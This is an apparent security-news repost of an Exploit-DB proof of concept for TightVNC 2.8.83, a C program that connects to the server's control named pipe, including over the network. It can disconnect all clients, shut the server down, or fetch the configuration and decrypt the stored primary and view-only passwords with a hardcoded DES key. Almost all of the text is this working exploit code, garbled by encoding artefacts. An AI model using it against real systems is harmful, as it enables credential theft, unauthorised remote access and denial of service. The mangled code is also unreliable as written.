\n
#include “descrypt.h”<\/p>\n#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
\n
#define BUFFER_SIZE 512<\/p>\n
#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
\n
#define TVNC_CMD_GET_CLIENT_LIST 0x04
\n
#define TVNC_CMD_SHUTDOWN_SERVER 0x07
\n
#define TVNC_CMD_GET_SERVER_INFO 0x11
\n
#define TVNC_CMD_GET_CONFIG 0x12<\/p>\n
const unsigned int commands[6] =3D {
\n
TVNC_CMD_DISCONNECT_ALL_CLIENTS,
\n
TVNC_CMD_GET_CLIENT_LIST,
\n
TVNC_CMD_SHUTDOWN_SERVER,
\n
TVNC_CMD_GET_SERVER_INFO,
\n
TVNC_CMD_GET_CONFIG,
\n
};<\/p>\n
unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 };<\/p>\n
void get_bytes(unsigned int data, unsigned char* out) {
\n
out[0] =3D GETBYTE(data, 3);
\n
out[1] =3D GETBYTE(data, 2);
\n
out[2] =3D GETBYTE(data, 1);
\n
out[3] =3D GETBYTE(data, 0);
\n
}<\/p>\n
\/\/ printf is wonky when printing passwords later
\n
void print_passwd(unsigned char* passwd) {
\n
for (int i =3D 0; i < 8; i++) {\n
printf(“%c”, passwd[i]);
\n
}
\n
printf(“\\n”);
\n
}<\/p>\n
void print_error(unsigned long error_code) {
\n
unsigned char* buffer;
\n
=20
\n
\/\/ damn it windows…
\n
FormatMessage(
\n
FORMAT_MESSAGE_ALLOCATE_BUFFER |
\n
FORMAT_MESSAGE_FROM_SYSTEM |
\n
FORMAT_MESSAGE_IGNORE_INSERTS,
\n
NULL,
\n
error_code,
\n
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
\n
(LPTSTR) &buffer,
\n
0, NULL);<\/p>\n
printf(“[error]: %s\\n”, buffer);
\n
}<\/p>\n
void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
\n
unsigned char primary_passwd[8] =3D { 0x00 };
\n
unsigned char view_only_passwd[8] =3D { 0x00 };<\/p>\n
printf(“\\n\\tencrypted primary password: “);
\n
for (int i =3D 0; i < 8; i++) {\n
primary_passwd[i] =3D buffer_ptr[offset + 8 + i];
\n
printf(“%02x “, primary_passwd[i]);
\n
}
\n
printf(“\\n\\tencrypted view-only password: “);
\n
for (int i =3D 0; i < 8; i++) {\n
view_only_passwd[i] =3D buffer_ptr[offset + i];
\n
printf(“%02x “, view_only_passwd[i]);
\n
}<\/p>\n
unsigned char primary_passwd_decrypted[8] =3D { 0x00 };
\n
unsigned char view_only_passwd_decrypted[8] =3D { 0x00 };<\/p>\n
decrypt(primary_passwd_decrypted, view_only_passwd,
\n
sizeof(primary_passwd_decrypted), des_key);
\n
decrypt(view_only_passwd_decrypted, primary_passwd,
\n
sizeof(view_only_passwd_decrypted), des_key);<\/p>\n
printf(“\\n\\tdecrypted primary password: “);
\n
print_passwd(primary_passwd_decrypted);
\n
printf(“\\tdecrypted view-only password: “);
\n
print_passwd(view_only_passwd_decrypted);
\n
}<\/p>\n
BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
\n
unsigned long pipe_mode;
\n
BOOL result =3D FALSE;
\n
printf(“[~] opening pipe %s…\\n”, pipe_name);<\/p>\n
while (1) {
\n
*handle_ptr =3D CreateFile(
\n
pipe_name,
\n
GENERIC_READ | GENERIC_WRITE,
\n
0,
\n
NULL,
\n
OPEN_EXISTING,
\n
FILE_FLAG_OVERLAPPED,
\n
NULL
\n
);<\/p>\n
if (*handle_ptr !=3D INVALID_HANDLE_VALUE) {
\n
printf(“[+] pipe opened\\n”);
\n
break;
\n
}<\/p>\n
if (GetLastError() !=3D ERROR_PIPE_BUSY) {
\n
printf(“[-] could not open pipe\\n”);
\n
print_error(GetLastError());
\n
return FALSE;
\n
}<\/p>\n
printf(“[~] waiting for named pipe to be available – if this hangs the =
\n
pipe server might be dead.\\n”);<\/p>\n
WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
\n
}<\/p>\n
pipe_mode =3D PIPE_READMODE_BYTE;
\n
result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);<\/p>\n
if (!result) {
\n
printf(“[-] failed setting pipe read mode\\n”);
\n
print_error(GetLastError());
\n
return result;
\n
}<\/p>\n
return result;
\n
}<\/p>\n
int main(int argc, char* argv[]) {<\/p>\n
HANDLE pipe_handle =3D NULL;
\n
unsigned char message[8] =3D { 0x00 };
\n
unsigned char buffer[BUFFER_SIZE] =3D { 0x00 };
\n
BOOL result =3D FALSE;
\n
unsigned long bytes_read, bytes_written;
\n
unsigned int cmd_index =3D 0;
\n
unsigned int offset =3D 30;<\/p>\n
if (argc < 3) {\n
printf(“usage: %s \\n”, argv[0]);
\n
printf(“offset – optional: default is 30 – change as needed\\n”);
\n
printf(“commands:\\n”);
\n
printf(“\\t1 – disconnect all clients\\n”);
\n
printf(“\\t2 – get client list\\n”);
\n
printf(“\\t3 – shutdown server\\n”);
\n
printf(“\\t4 – get server info\\n”);
\n
printf(“\\t5 – get server config\\n”);
\n
printf(“example pipes:\\n\\t\\\\\\\\192.168.1.42\\\\pipe\\\\TightVNC_Service_Cont=
\n
rol\\n”);
\n
printf(“\\t\\\\\\\\.\\\\pipe\\\\TightVNC_Application_Control_On_Session1\\n\\n”);
\n
return 0;
\n
}<\/p>\n char* stop =3D NULL;
\n
cmd_index =3D strtol(argv[1], &stop, 10);<\/p>\n
if (stop =3D=3D ‘\\0’) {
\n
return 0;
\n
}<\/p>\n
cmd_index–;<\/p>\n
if (argc =3D=3D 4) {
\n
stop =3D NULL;
\n
offset =3D strtol(argv[3], &stop, 10);<\/p>\n
if (offset =3D=3D 0 || stop =3D=3D ‘\\0’) {
\n
return 0;
\n
}
\n
}<\/p>\n
if (!open_pipe(&pipe_handle, argv[2])) {
\n
goto exit;
\n
}<\/p>\n
printf(“[i] sending command…\\n”);
\n
=20
\n
get_bytes(commands[cmd_index], message);
\n
result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL);<\/p>\n
if (!result) {
\n
printf(“[-] failed writing to pipe\\n”);
\n
print_error(GetLastError());
\n
goto exit;
\n
}<\/p>\n
printf(“[~] message sent; waiting for reply\\n”);<\/p>\n
do {
\n
result =3D ReadFile(
\n
pipe_handle,
\n
buffer,
\n
BUFFER_SIZE * sizeof(unsigned char),
\n
&bytes_read,
\n
NULL
\n
);<\/p>\n
if (!result && GetLastError() !=3D ERROR_MORE_DATA)
\n
break;<\/p>\n
printf(“[+] got %d bytes back!\\n”, bytes_read);
\n
printf(” hex: \\n\\t”);<\/p>\n
for (int i =3D 0; i < bytes_read; i++) {\n
printf(“%02x “, buffer[i]);
\n
}<\/p>\n
printf(“\\n char: \\n\\t”);
\n
for (int i =3D 0; i < bytes_read; i++) {\n
printf(“%c”, buffer[i]);
\n
}
\n
printf(“\\n\\n”);<\/p>\n
if (cmd_index =3D=3D 4) {
\n
printf(“\\n[~] command is get config, attempting to decrypt passwords =
\n
using offset %d…\\n”, offset);
\n
decrypt_passwords(&buffer, offset);
\n
}<\/p>\n
memset(buffer, 0, BUFFER_SIZE);
\n
} while (!result);<\/p>\n
if (!result)
\n
{
\n
printf(“[-] failed reading from pipe\\n”);
\n
print_error(GetLastError());
\n
goto exit;
\n
}<\/p>\n
printf(“\\n[+] done\\n\\n”);<\/p>\n
exit:
\n
if (pipe_handle !=3D NULL) {
\n
CloseHandle(&pipe_handle);
\n
}<\/p>\n
return 0;
\n
}\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title TightVNC 2.8.83 – Control Pipe Manipulation Exploit ID EDB-ID:52322 Type exploitdb Published 2025-06-09T00:00:00 Modified 2025-06-09T00:00:00 CVSS Information CVSS Score…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,40,13,7,11,5],"class_list":["post-6751","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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